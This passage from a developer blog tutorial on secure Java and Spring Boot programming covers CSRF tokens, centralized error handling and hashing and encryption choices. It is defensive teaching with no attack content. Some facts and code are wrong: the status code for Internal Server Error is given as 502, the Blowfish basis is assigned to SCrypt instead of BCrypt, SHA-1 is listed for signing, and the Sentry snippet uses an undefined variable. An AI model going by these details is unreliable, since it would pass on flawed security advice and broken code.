            &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;csrf&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;csrf&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;csrf&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;csrfTokenRepository&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="cm"&gt;/* your repository */&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="c1"&gt;// enabling CSRF&lt;/span&gt;
            &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;However, depending on security requirements, they can be issued according to the following principle:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;For most applications&lt;/strong&gt;: 1 CSRF token per session. When the session is reset/updated, the token will be updated.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;For high risk applications&lt;/strong&gt;: CSRF token should be updated every request sent by the user (e.g. issued in &lt;code&gt;X-CSRF-TOKEN&lt;/code&gt; header for subsequent request)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Same-Site attribute setting&lt;/strong&gt;&lt;br&gt;
If the application architecture allows, you can set the &lt;strong&gt;Same-Site&lt;/strong&gt; attribute to &lt;code&gt;Strict&lt;/code&gt; or &lt;code&gt;Lax&lt;/code&gt; by session cookies. This will let the browser know that in the case of &lt;code&gt;Strict&lt;/code&gt;, the cookie can only be sent if the user interacts on the site for &lt;strong&gt;all requests&lt;/strong&gt;, and in the case of &lt;code&gt;Lax&lt;/code&gt;, to restrict sending only with &lt;em&gt;insecure&lt;/em&gt; requests (e.g. POST requests).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Use of tokens instead of sessions&lt;/strong&gt;&lt;br&gt;
Using JWT tokens instead of cookie sessions, and sending them in &lt;strong&gt;headers&lt;/strong&gt; is a viable option to protect against CSRF attacks, because it requires access to &lt;code&gt;localStorage&lt;/code&gt; which is separated between sites, but still, practices described above are a good tone.&lt;/p&gt;
&lt;h2&gt;
  
  
  Secure Error Handling
&lt;/h2&gt;

&lt;p&gt;Our application, like any other information system goes from one state to another, and it is possible that eventually we will have to switch to the &lt;strong&gt;error&lt;/strong&gt; state.&lt;br&gt;
We've already discussed this in a previous article, but let's do it again. Once an application fails and is in error state, it is critical for it to &lt;strong&gt;fail safe&lt;/strong&gt;. An error can be considered to be failing safe if:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;No technical details of the system were issued as a result of the error&lt;/li&gt;
&lt;li&gt;The integrity and confidentiality of data has not been compromised&lt;/li&gt;
&lt;li&gt;The system was able to return to a normal, operational state&lt;/li&gt;
&lt;li&gt;The information about the error was properly logged, for further analysis&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In the context of secure programming, we especially need to pay attention to how we handle errors in our application. In many web frameworks like Spring Boot error handling is centralized, allowing them to be handled very efficiently.&lt;/p&gt;

&lt;p&gt;By default, in case an error we don't know is called (trivially, &lt;code&gt;IllegalStateException&lt;/code&gt;, it can stand for anything), most frameworks will handle it in a response with the status code &lt;code&gt;502 Internal Server Error&lt;/code&gt;, and &lt;strong&gt;put the stacktrace right in the response&lt;/strong&gt;. This is a direct path to &lt;strong&gt;Information Disclosure&lt;/strong&gt; - it will give away a lot of information not just about the application's programming language, but about its internal structure. It exists only to speed up the development process so that you don't have to connect to the server an extra time to see the error, but when you go into &lt;strong&gt;production&lt;/strong&gt;, this behavior &lt;strong&gt;must&lt;/strong&gt; be disabled.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Information Disclosure&lt;/strong&gt; is actually a very dangerous error that can lead to catastrophic consequences. Don't forget, if your application becomes a target for attackers, the very first and almost the most basic step in exploiting vulnerabilities is &lt;strong&gt;gathering information about the system&lt;/strong&gt;. Because knowing how your system is organized makes it much easier to find vulnerabilities in it.&lt;/p&gt;

&lt;p&gt;What have we learned from this? It is much easier and more convenient to designate a number of custom errors that are under our control (i.e. we will understand what exactly went wrong) and process them in a centralized way. And all other errors unknown to us - securely logged without issuing a stacktrace to the user. &lt;em&gt;Securely logged&lt;/em&gt; means that even though logs are stored locally (or on some log server), they should not contain sensitive information (e.g. API keys, passwords, etc.). Failure to do so will come back to bite you in case of certain internal threats.&lt;/p&gt;

&lt;p&gt;For example, let's imagine that a user wants to find some order by ID. In case it is not found, we will call our own &lt;code&gt;OrderNotFoundException&lt;/code&gt; error:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;OrderNotFoundException&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;RuntimeException&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="n"&gt;orderId&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nf"&gt;OrderNotFoundException&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="n"&gt;orderId&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;orderId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;orderId&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="nf"&gt;getOrderId&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;orderId&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's declare a general error style, specifying the message we can display to the user:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ErrorResponse&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;errorCode&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;errorMessage&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nf"&gt;ErrorResponse&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;errorCode&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;errorMessage&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;errorCode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;errorCode&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;errorMessage&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;errorMessage&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;getErrorCode&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;errorCode&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;getErrorMessage&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;errorMessage&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And finally process them. Don't forget, we process all the errors we know about, and the unknown ones are logged and returned to the user as little information as possible.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nd"&gt;@ControllerAdvice&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;GlobalExceptionHandler&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="nc"&gt;Logger&lt;/span&gt; &lt;span class="n"&gt;logger&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;LoggerFactory&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getLogger&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;GlobalExceptionHandler&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

    &lt;span class="nd"&gt;@ExceptionHandler&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;OrderNotFoundException&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nc"&gt;ResponseEntity&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;ErrorResponse&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;handleOrderNotFound&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;OrderNotFoundException&lt;/span&gt; &lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;ErrorResponse&lt;/span&gt; &lt;span class="n"&gt;errorResponse&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ErrorResponse&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                &lt;span class="s"&gt;"ORDER_NOT_FOUND"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
                &lt;span class="s"&gt;"Order with ID "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getOrderId&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;" not found"&lt;/span&gt;
        &lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ResponseEntity&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;gt;(&lt;/span&gt;&lt;span class="n"&gt;errorResponse&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;HttpStatus&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;NOT_FOUND&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}}&lt;/span&gt;

    &lt;span class="nd"&gt;@ExceptionHandler&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Exception&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nc"&gt;ResponseEntity&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;ErrorResponse&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;handleUnknown&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;logger&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;error&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"An unexpected error occurred: {}"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getMessage&lt;/span&gt;&lt;span class="o"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="nc"&gt;ErrorResponse&lt;/span&gt; &lt;span class="n"&gt;errorResponse&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ErrorResponse&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                &lt;span class="s"&gt;"INTERNAL_SERVER_ERROR"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
                &lt;span class="s"&gt;"An unexpected error occurred. Please try again later."&lt;/span&gt;
        &lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ResponseEntity&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;gt;(&lt;/span&gt;&lt;span class="n"&gt;errorResponse&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;HttpStatus&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;INTERNAL_SERVER_ERROR&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ideally, we should not only log unknown errors, but also use a centralized &lt;strong&gt;Error Tracker&lt;/strong&gt; like &lt;a href="https://sentry.io/welcome/" rel="noopener noreferrer"&gt;Sentry&lt;/a&gt;. This will allow us to &lt;strong&gt;react&lt;/strong&gt; in time, especially if the unexpected error is critical:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;    &lt;span class="nd"&gt;@ExceptionHandler&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Exception&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nc"&gt;ResponseEntity&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;ErrorResponse&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;handleUnknown&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;logger&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;error&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"An unexpected error occurred: {}"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getMessage&lt;/span&gt;&lt;span class="o"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="nc"&gt;Sentry&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;captureException&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="nc"&gt;ErrorResponse&lt;/span&gt; &lt;span class="n"&gt;errorResponse&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ErrorResponse&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                &lt;span class="s"&gt;"INTERNAL_SERVER_ERROR"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
                &lt;span class="s"&gt;"An unexpected error occurred. Please try again later."&lt;/span&gt;
        &lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ResponseEntity&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;gt;(&lt;/span&gt;&lt;span class="n"&gt;errorResponse&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;HttpStatus&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;INTERNAL_SERVER_ERROR&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now let's summarize what we should have understood from here:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;You cannot allow technical information to be leaked to users. This will give attackers a greater chance to exploit your system.&lt;/li&gt;
&lt;li&gt;Logging errors for further analysis is a good practice, but you should not let sensitive information get into the logs.&lt;/li&gt;
&lt;li&gt;Do not generalize errors (e.g. by throwing &lt;code&gt;RuntimeException&lt;/code&gt;), but specify them for clear processing.&lt;/li&gt;
&lt;li&gt;For rapid response to unexpected errors, it is good practice to use centralized Error trackers.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Secure Cryptography
&lt;/h2&gt;

&lt;p&gt;When we work with sensitive data, we rely on cryptography. For example:&lt;br&gt;
&lt;strong&gt;hash&lt;/strong&gt; data that we don't need to know the original form of (e.g. passwords)&lt;br&gt;
&lt;strong&gt;encrypt&lt;/strong&gt; data that we need to revert to its original form (e.g. data transfers)&lt;br&gt;
&lt;strong&gt;sign&lt;/strong&gt; data that we need to ensure the integrity of (e.g. JWT tokens)&lt;/p&gt;

&lt;p&gt;Before we move on to cryptography solutions, remember one golden rule: &lt;strong&gt;Do not try to create your own cryptographic algorithm. Leave the cryptography to the cryptographers&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  Secure Hashing
&lt;/h3&gt;

&lt;p&gt;When it comes to hashing algorithms, we divide them into &lt;strong&gt;fast&lt;/strong&gt; and &lt;strong&gt;slow&lt;/strong&gt;. We only use fast hashing algorithms where speed is important, such as for &lt;strong&gt;signing&lt;/strong&gt; and verifying the &lt;strong&gt;integrity&lt;/strong&gt; of data. These include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SHA-256&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SHA-1&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SHA-3&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;MD5&lt;/strong&gt; - &lt;em&gt;Deprecated for cryptographic operations and is only valid as a noncryptographic checksum&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Slow algorithms are most often used to hash &lt;strong&gt;confidential&lt;/strong&gt; data for later storage, because they are designed to require more processing power (e.g. memory consumption, CPU) to be resistant to types of attacks like &lt;strong&gt;brute force&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;BCrypt&lt;/strong&gt; - One of the most popular hashing algorithms, which is most common already in legacy systems. Good, but not resistant to high-performance attacks on specialized devices.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;SCrypt&lt;/strong&gt; - Unlike BCrypt, an algorithm based on &lt;strong&gt;Blowfish&lt;/strong&gt; that is resistant to attacks using parallel computing (e.g. GPUs).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Argon2id&lt;/strong&gt; - Winner of the Password Hashing Competition (PHC) in 2015 and the most flexible among the described algorithms, which allows to customize the hashing complexity for different security requirements.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Very often, in addition to &lt;strong&gt;Brute Force&lt;/strong&gt; attacks, attackers use &lt;strong&gt;Rainbow Hash Tables&lt;/strong&gt; to retrieve the original data (i.e. passwords) from their hash. These tables contain pre-computed hashes for a wide range of passwords, and while slow hashes make it difficult for the attacker (due to resource consumption), the most effective method of dealing with them is to use &lt;strong&gt;Salt&lt;/strong&gt; and &lt;strong&gt;Pepper&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Salt&lt;/strong&gt; is a randomized set of bytes/symbols, most often at least 16-32 bytes long, that is added to the beginning or end of our data before hashing. It is stored in &lt;strong&gt;open&lt;/strong&gt; form and is &lt;strong&gt;unique&lt;/strong&gt; to each data that we hash.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;Pepper&lt;/strong&gt; is exactly the same random set of bytes, which unlike Salt is &lt;strong&gt;secret&lt;/strong&gt; and &lt;strong&gt;NOT&lt;/strong&gt; unique for each chunk of data (i.e. 1 pepper for all passwords). It acts as an additional layer of defense and should be kept separate from our data. For example, if an attacker gains access to the password database, not knowing the pepper will make it nearly impossible to retrieve the original passwords.&lt;/p&gt;
&lt;h3&gt;
  
  
  Secure encryption
&lt;/h3&gt;

&lt;p&gt;Encryption comes in two types - &lt;strong&gt;symmetric&lt;/strong&gt; and &lt;strong&gt;asymmetric&lt;/strong&gt;. While symmetric encryption uses a single key to encrypt and decrypt data, asymmetric encryption has 2 keys: &lt;strong&gt;public&lt;/strong&gt; for data encryption and &lt;strong&gt;private&lt;/strong&gt; for decryption. It is important to use only up-to-date encryption algorithms that are invulnerable to brute force attacks, resistant to ciphertext analysis and simply effective in our realities.&lt;/p&gt;

&lt;p&gt;The most secure symmetric algorithms currently available include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;AES&lt;/strong&gt; with &lt;strong&gt;GCM&lt;/strong&gt; mode (preferably 256 bits), which is often hardware accelerated.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;ChaCha20-Poly1305&lt;/strong&gt; - A stream cipher, particularly effective compared to AES in scenarios where there is no hardware acceleration for AES.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We can use both of these ciphers with &lt;strong&gt;Bouncy Castle&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ChaCha20Poly1305Cipher&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="nf"&gt;encrypt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;processCipher&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="nf"&gt;decrypt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;encrypted&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;processCipher&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;encrypted&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

